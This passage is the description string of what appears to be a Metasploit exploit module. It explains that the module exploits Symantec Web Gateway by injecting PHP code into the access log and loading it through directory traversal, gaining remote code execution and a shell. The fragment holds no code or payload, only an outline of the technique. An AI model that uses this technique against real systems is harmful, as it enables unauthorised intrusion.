'Description' => %q{
This module exploits a vulnerability found in Symantec Web Gateway's HTTP
service. By injecting PHP code in the access log, it is possible to load it
with a directory traversal flaw, which allows remote code execution under the
context of 'apache'. Please note that it may take up to several minutes to
retrieve access_log, which is about the amount of time required to see a shell
back.
